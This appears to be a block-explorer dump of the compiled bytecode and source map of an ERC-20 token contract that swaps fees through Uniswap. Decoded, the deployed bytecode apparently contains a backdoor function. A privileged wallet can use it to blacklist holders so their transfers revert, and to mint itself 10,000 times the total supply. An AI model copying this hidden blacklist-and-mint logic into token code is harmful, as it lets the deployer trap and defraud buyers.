565b92915050565b600081519050611f7881612b9b565b92915050565b60008083601f840112611f9457611f93612999565b5b8235905067ffffffffffffffff811115611fb157611fb0612994565b5b602083019150836020820283011115611fcd57611fcc61299e565b5b9250929050565b600081359050611fe381612bb2565b92915050565b600081359050611ff881612bc9565b92915050565b600060208284031215612014576120136129a8565b5b600061202284828501611f54565b91505092915050565b600060208284031215612041576120406129a8565b5b600061204f84828501611f69565b91505092915050565b6000806040838503121561206f5761206e6129a8565b5b600061207d85828601611f54565b925050602061208e85828601611f54565b9150509250929050565b6000806000606084860312156120b1576120b06129a8565b5b60006120bf86828701611f54565b93505060206120d086828701611f54565b92505060406120e186828701611fe9565b9150509250925092565b60008060408385031215612102576121016129a8565b5b600061211085828601611f54565b925050602061212185828601611fe9565b9150509250929050565b60008060008060608587031215612145576121446129a8565b5b600061215387828801611fd4565b945050602085013567ffffffffffffffff811115612174576121736129a3565b5b61218087828801611f7e565b9350935050604061219387828801611fd4565b91505092959194509250565b60006121ab83836121c6565b60208301905092915050565b6121c08161275e565b82525050565b6121cf8161274c565b82525050565b6121de8161274c565b82525050565b60006121ef826125f2565b6121f98185612615565b9350612204836125e2565b8060005b8381101561223557815161221c888261219f565b975061222783612608565b925050600181019050612208565b5085935050505092915050565b61224b81612770565b82525050565b61225a816127b3565b82525050565b612269816127c5565b82525050565b600061227a826125fd565b6122848185612626565b93506122948185602086016127fb565b61229d816129ad565b840191505092915050565b60006122b5602383612626565b91506122c0826129be565b604082019050919050565b60006122d8602283612626565b91506122e382612a0d565b604082019050919050565b60006122fb601b83612626565b915061230682612a5c565b602082019050919050565b600061231e602183612626565b915061232982612a85565b604082019050919050565b6000612341602083612626565b915061234c82612ad4565b602082019050919050565b6000612364602583612626565b915061236f82612afd565b604082019050919050565b6000612387602483612626565b915061239282612b4c565b604082019050919050565b6123a68161279c565b82525050565b6123b5816127a6565b82525050565b60006020820190506123d060008301846121d5565b92915050565b60006020820190506123eb60008301846121b7565b92915050565b600060408201905061240660008301856121d5565b61241360208301846121d5565b9392505050565b600060208201905061242f6000830184612242565b92915050565b600060208201905061244a6000830184612251565b92915050565b6000602082019050818103600083015261246a818461226f565b905092915050565b6000602082019050818103600083015261248b816122a8565b9050919050565b600060208201905081810360008301526124ab816122cb565b9050919050565b600060208201905081810360008301526124cb816122ee565b9050919050565b600060208201905081810360008301526124eb81612311565b9050919050565b6000602082019050818103600083015261250b81612334565b9050919050565b6000602082019050818103600083015261252b81612357565b9050919050565b6000602082019050818103600083015261254b8161237a565b9050919050565b6000602082019050612567600083018461239d565b92915050565b600060a082019050612582600083018861239d565b61258f6020830187612260565b81810360408301526125a181866121e4565b90506125b060608301856121d5565b6125bd608083018461239d565b9695505050505050565b60006020820190506125dc60008301846123ac565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126428261279c565b915061264d8361279c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612682576126816128a9565b5b828201905092915050565b60006126988261279c565b91506126a38361279c565b9250826126b3576126b26128d8565b5b828204905092915050565b60006126c98261279c565b91506126d48361279c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561270d5761270c6128a9565b5b828202905092915050565b60006127238261279c565b915061272e8361279c565b925082821015612741576127406128a9565b5b828203905092915050565b60006127578261277c565b9050919050565b60006127698261277c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006127be826127d7565b9050919050565b60006127d08261279c565b9050919050565b60006127e2826127e9565b9050919050565b60006127f48261277c565b9050919050565b60005b838110156128195780820151818401526020810190506127fe565b83811115612828576000848401525b50505050565b6000600282049050600182168061284657607f821691505b6020821081141561285a57612859612907565b5b50919050565b600061286b8261279c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561289e5761289d6128a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612ba48161274c565b8114612baf57600080fd5b50565b612bbb81612770565b8114612bc657600080fd5b50565b612bd28161279c565b8114612bdd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200450a963ec3f0be512e6539b3a41093f98ecc4e21034f5804f5e0c9694acaa7364736f6c63430008070033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c5d241891161006f578063c5d2418914610429578063c816841b14610454578063c86079521461047f578063dd62ed3e146104aa578063ec7cc569146104e7578063f2fde38b1461051057610135565b80638da5cb5b1461035457806395d89b411461037f5780639e78fb4f146103aa578063a9059cbb146103c1578063b225f1fe146103fe57610135565b8063313ce567116100f2578063313ce56714610235578063325e340b146102605780633345611e1461029d5780633ecad271146102da57806370a082311461031757610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190612450565b60405180910390f35b34801561017157600080fd5b5061018c600480360381019061018791906120eb565b6105cb565b604051610199919061241a565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c49190612435565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef9190612552565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a9190612098565b610619565b60405161022c919061241a565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b60405161025791906125c7565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190611ffe565b61070a565b604051610294919061241a565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190611ffe565b61072a565b6040516102d1919061241a565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc9190611ffe565b61074a565b60405161030e919061241a565b60405180910390f35b34801561032357600080fd5b5061033e60048036038101906103399190611ffe565b61076a565b60405161034b9190612552565b60405180910390f35b34801561036057600080fd5b506103696107b3565b60405161037691906123bb565b60405180910390f35b34801561038b57600080fd5b506103946107dc565b6040516103a19190612450565b60405180910390f35b3480156103b657600080fd5b506103bf61086e565b005b3480156103cd57600080fd5b506103e860048036038101906103e391906120eb565b610c46565b6040516103f5919061241a565b60405180910390f35b34801561040a57600080fd5b50610413610c65565b60405161042091906123d6565b60405180910390f35b34801561043557600080fd5b5061043e610c8b565b60405161044b9190612552565b60405180910390f35b34801561046057600080fd5b50610469610c91565b60405161047691906123bb565b60405180910390f35b34801561048b57600080fd5b50610494610cb7565b6040516104a19190612552565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190612058565b610cbd565b6040516104de9190612552565b60405180910390f35b3480156104f357600080fd5b5061050e6004803603810190610509919061212b565b610d44565b005b34801561051c57600080fd5b5061053760048036038101906105329190611ffe565b610ed9565b005b6060600180546105489061282e565b80601f01602080910402602001604051908101604052809291908181526020018280546105749061282e565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d861102b565b8484611033565b6001905092915050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b60006106268484846111fe565b506106e88461063361102b565b6106e385604051806060016040528060288152602001612be160289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061069961102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118499092919063ffffffff16565b611033565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60096020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546107eb9061282e565b80601f01602080910402602001604051908101604052809291908181526020018280546108179061282e565b80156108645780601f1061083957610100808354040283529160200191610864565b820191906000526020600020905b81548152906001019060200180831161084757829003601f168201915b5050505050905090565b61087661102b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fa906124f2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561096257600080fd5b505afa158015610976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099a919061202b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109fc57600080fd5b505afa158015610a10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a34919061202b565b6040518363ffffffff1660e01b8152600401610a519291906123f1565b602060405180830381600087803b158015610a6b57600080fd5b505af1158015610a7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa3919061202b565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610c5a610c5361102b565b84846111fe565b506001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8561102b565b73ffffffffffffffffffffffffffffffffffffffff1614610da557600080fd5b8015610e3357612710600c54610dbb91906126be565b60046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e2b9190612637565b925050819055505b60005b83839050811015610ed2578460096000868685818110610e5957610e58612936565b5b9050602002016020810190610e6e9190611ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610eca90612860565b915050610e36565b5050505050565b610ee161102b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f65906124f2565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109a90612532565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611113576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110a90612492565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f19190612552565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561126f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126690612512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d690612472565b60405180910390fd5b600d60009054906101000a900460ff1615611306576112ff8484846118ad565b9050611842565b60006113113061076a565b9050600d60009054906101000a900460ff1615801561137a5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113895761138881611a80565b5b6113db83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114c15750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114ce57839050611741565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115515761154a606461153c600a5488611dce90919063ffffffff16565b611e4990919063ffffffff16565b90506115cf565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115ce576115cb60646115bd600b5488611dce90919063ffffffff16565b611e4990919063ffffffff16565b90505b5b60008111156116d35761162a81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116ca9190612552565b60405180910390a35b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561172a57600080fd5b61173d8186611d8490919063ffffffff16565b9150505b61179381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118339190612552565b60405180910390a36001925050505b9392505050565b6000838311158290611891576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118889190612450565b60405180910390fd5b50600083856118a09190612718565b9050809150509392505050565b6000611938826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118499092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119cd82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a6d9190612552565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ab857611ab7612965565b5b604051908082528060200260200182016040528015611ae65781602001602082028036833780820191505090505b5090503081600081518110611afe57611afd612936565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ba057600080fd5b505afa158015611bb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bd8919061202b565b81600181518110611bec57611beb612936565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c5330600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611033565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611cb795949392919061256d565b600060405180830381600087803b158015611cd157600080fd5b505af1925050508015611ce2575060015b611ceb57611cec565b5b60004790506000811115611d6457600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d62573d6000803e3d6000fd5b505b50506000600d60006101000a81548160ff02191690831515021790555050565b6000611dc683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611849565b905092915050565b600080831415611de15760009050611e43565b60008284611def91906126be565b9050828482611dfe919061268d565b14611e3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e35906124d2565b60405180910390fd5b809150505b92915050565b6000611e8b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ef1565b905092915050565b6000808284611ea29190612637565b905083811015611ee7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ede906124b2565b60405180910390fd5b8091505092915050565b60008083118290611f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2f9190612450565b60405180910390fd5b5060008385611f47919061268d565b9050809150509392505050565b600081359050611f6381612b9b565b92915050565b600081519050611f7881612b9b565b92915050565b60008083601f840112611f9457611f93612999565b5b8235905067ffffffffffffffff811115611fb157611fb0612994565b5b602083019150836020820283011115611fcd57611fcc61299e565b5b9250929050565b600081359050611fe381612bb2565b92915050565b600081359050611ff881612bc9565b92915050565b600060208284031215612014576120136129a8565b5b600061202284828501611f54565b91505092915050565b600060208284031215612041576120406129a8565b5b600061204f84828501611f69565b91505092915050565b6000806040838503121561206f5761206e6129a8565b5b600061207d85828601611f54565b925050602061208e85828601611f54565b9150509250929050565b6000806000606084860312156120b1576120b06129a8565b5b60006120bf86828701611f54565b93505060206120d086828701611f54565b92505060406120e186828701611fe9565b9150509250925092565b60008060408385031215612102576121016129a8565b5b600061211085828601611f54565b925050602061212185828601611fe9565b9150509250929050565b60008060008060608587031215612145576121446129a8565b5b600061215387828801611fd4565b945050602085013567ffffffffffffffff811115612174576121736129a3565b5b61218087828801611f7e565b9350935050604061219387828801611fd4565b91505092959194509250565b60006121ab83836121c6565b60208301905092915050565b6121c08161275e565b82525050565b6121cf8161274c565b82525050565b6121de8161274c565b82525050565b60006121ef826125f2565b6121f98185612615565b9350612204836125e2565b8060005b8381101561223557815161221c888261219f565b975061222783612608565b925050600181019050612208565b5085935050505092915050565b61224b81612770565b82525050565b61225a816127b3565b82525050565b612269816127c5565b82525050565b600061227a826125fd565b6122848185612626565b93506122948185602086016127fb565b61229d816129ad565b840191505092915050565b60006122b5602383612626565b91506122c0826129be565b604082019050919050565b60006122d8602283612626565b91506122e382612a0d565b604082019050919050565b60006122fb601b83612626565b915061230682612a5c565b602082019050919050565b600061231e602183612626565b915061232982612a85565b604082019050919050565b6000612341602083612626565b915061234c82612ad4565b602082019050919050565b6000612364602583612626565b915061236f82612afd565b604082019050919050565b6000612387602483612626565b915061239282612b4c565b604082019050919050565b6123a68161279c565b82525050565b6123b5816127a6565b82525050565b60006020820190506123d060008301846121d5565b92915050565b60006020820190506123eb60008301846121b7565b92915050565b600060408201905061240660008301856121d5565b61241360208301846121d5565b9392505050565b600060208201905061242f6000830184612242565b92915050565b600060208201905061244a6000830184612251565b92915050565b6000602082019050818103600083015261246a818461226f565b905092915050565b6000602082019050818103600083015261248b816122a8565b9050919050565b600060208201905081810360008301526124ab816122cb565b9050919050565b600060208201905081810360008301526124cb816122ee565b9050919050565b600060208201905081810360008301526124eb81612311565b9050919050565b6000602082019050818103600083015261250b81612334565b9050919050565b6000602082019050818103600083015261252b81612357565b9050919050565b6000602082019050818103600083015261254b8161237a565b9050919050565b6000602082019050612567600083018461239d565b92915050565b600060a082019050612582600083018861239d565b61258f6020830187612260565b81810360408301526125a181866121e4565b90506125b060608301856121d5565b6125bd608083018461239d565b9695505050505050565b60006020820190506125dc60008301846123ac565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126428261279c565b915061264d8361279c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612682576126816128a9565b5b828201905092915050565b60006126988261279c565b91506126a38361279c565b9250826126b3576126b26128d8565b5b828204905092915050565b60006126c98261279c565b91506126d48361279c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561270d5761270c6128a9565b5b828202905092915050565b60006127238261279c565b915061272e8361279c565b925082821015612741576127406128a9565b5b828203905092915050565b60006127578261277c565b9050919050565b60006127698261277c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006127be826127d7565b9050919050565b60006127d08261279c565b9050919050565b60006127e2826127e9565b9050919050565b60006127f48261277c565b9050919050565b60005b838110156128195780820151818401526020810190506127fe565b83811115612828576000848401525b50505050565b6000600282049050600182168061284657607f821691505b6020821081141561285a57612859612907565b5b50919050565b600061286b8261279c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561289e5761289d6128a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612ba48161274c565b8114612baf57600080fd5b50565b612bbb81612770565b8114612bc657600080fd5b50565b612bd28161279c565b8114612bdd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200450a963ec3f0be512e6539b3a41093f98ecc4e21034f5804f5e0c9694acaa7364736f6c63430008070033

Deployed Bytecode Sourcemap

3633:6386:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5182:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6502:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5273:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6394:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9701:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6671:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4130:37;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4021:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4078:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6267:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1311:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5323:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5453:467;;;;;;;;;;;;;:::i;:::-;;9524:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3905:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4176:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5418:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4218:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7743:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5928:327;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1517:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5182:83;5219:13;5252:5;5245:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5182:83;:::o;6502:161::-;6577:4;6594:39;6603:12;:10;:12::i;:::-;6617:7;6626:6;6594:8;:39::i;:::-;6651:4;6644:11;;6502:161;;;;:::o;5273:41::-;;;;;;;;;;;;;:::o;6394:100::-;6447:7;6474:12;;6467:19;;6394:100;:::o;9701:313::-;9799:4;9816:36;9826:6;9834:9;9845:6;9816:9;:36::i;:::-;;9863:121;9872:6;9880:12;:10;:12::i;:::-;9894:89;9932:6;9894:89;;;;;;;;;;;;;;;;;:11;:19;9906:6;9894:19;;;;;;;;;;;;;;;:33;9914:12;:10;:12::i;:::-;9894:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;9863:8;:121::i;:::-;10002:4;9995:11;;9701:313;;;;;:::o;6671:83::-;6712:5;6737:9;;;;;;;;;;;6730:16;;6671:83;:::o;4130:37::-;;;;;;;;;;;;;;;;;;;;;;:::o;4021:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;4078:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;6267:119::-;6333:7;6360:9;:18;6370:7;6360:18;;;;;;;;;;;;;;;;6353:25;;6267:119;;;:::o;1311:79::-;1349:7;1376:6;;;;;;;;;;;1369:13;;1311:79;:::o;5323:87::-;5362:13;5395:7;5388:1